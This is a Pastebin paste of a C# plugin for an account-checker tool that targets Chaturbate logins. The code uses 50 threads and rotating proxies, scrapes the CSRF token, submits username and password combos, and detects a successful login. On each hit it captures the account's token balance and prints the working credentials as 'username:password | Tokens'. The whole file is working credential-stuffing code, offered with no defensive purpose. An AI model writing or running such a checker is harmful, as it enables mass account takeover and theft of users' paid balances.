Advertisement
Guest User

Untitled

a guest
Sep 29th, 2017
84
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.38 KB | None | 0 0
  1. using System;
  2. using System.Collections.Generic;
  3. using System.IO;
  4. using System.Linq;
  5. using System.Security.Cryptography;
  6. using System.Security.Policy;
  7. using Plugins;
  8. using System.Text;
  9. using System.Text.RegularExpressions;
  10. using System.Threading.Tasks;
  11. using RestSharp;
  12. using System.Net;
  13.  
  14. namespace Modules
  15. {
  16. public class Chaturbate : Plugin
  17. {
  18. public int Threading => 50;
  19.  
  20. public string Site()
  21. {
  22. return "Chaturbate";
  23. }
  24.  
  25. public string ComboType()
  26. {
  27. return "User";
  28. }
  29.  
  30. public bool Proxies()
  31. {
  32. return true;
  33. }
  34.  
  35. private static string CaptureBetweenString(string fullText, string leftString, string rightString,
  36. bool removeLeftRight)
  37. {
  38. if (removeLeftRight)
  39. {
  40. return new Regex($"{leftString}(.*){rightString}").Match(fullText).Groups[0].ToString()
  41. .Replace(leftString, "").Replace(rightString, "");
  42. }
  43. return new Regex($"{leftString}(.*){rightString}").Match(fullText).Groups[0].ToString();
  44. }
  45.  
  46.  
  47.  
  48. public string run(string username, string password, string proxy)
  49. {
  50. try
  51. {
  52. var client = new RestClient("https://chaturbate.com/auth/login/?next=/")
  53. {
  54. CookieContainer = new CookieContainer(),
  55. UserAgent =
  56. "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36",
  57. Proxy = new WebProxy(proxy)
  58. };
  59. var request = new RestRequest(Method.GET);
  60.  
  61.  
  62.  
  63. var exec = client.Execute(request);
  64.  
  65. var csrfCode =
  66. CaptureBetweenString(exec.Content, "name=\'csrfmiddlewaretoken\' value=\'", "\' />", true);
  67.  
  68. if (csrfCode == "")
  69. return "Failed";
  70.  
  71.  
  72. request.AddHeader("Referer", "https://chaturbate.com/auth/login/?next=/");
  73. request.Method = Method.POST;
  74. request.AddParameter("application/x-www-form-urlencoded",
  75. $"next=%2F&csrfmiddlewaretoken={csrfCode}&username={username}&password={password}",
  76. ParameterType.RequestBody);
  77.  
  78. exec = client.Execute(request);
  79.  
  80. if (exec.Content.Contains(
  81. "<form id=\"user_logout_form\" action=\"/auth/logout/\" method=\"post\" style=\"display:none;\"><input type=\'hidden\'")
  82. )
  83. {
  84. var tokens = CaptureBetweenString(exec.Content, "class=\'tokencount\'>",
  85. "</span> Tokens</a></strong></div></td>", true);
  86.  
  87. Console.WriteLine("-------------------------");
  88. Console.WriteLine("Username: " + username);
  89. Console.WriteLine("Password: " + password);
  90. Console.WriteLine($"Capture: {tokens}");
  91. Console.WriteLine("-------------------------");
  92. return $"{username}:{password} | Tokens: {tokens}";
  93. }
  94.  
  95.  
  96. return "Failed";
  97. }
  98. catch
  99. {
  100. return "Failed";
  101. }
  102.  
  103.  
  104.  
  105. }
  106. }
  107. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement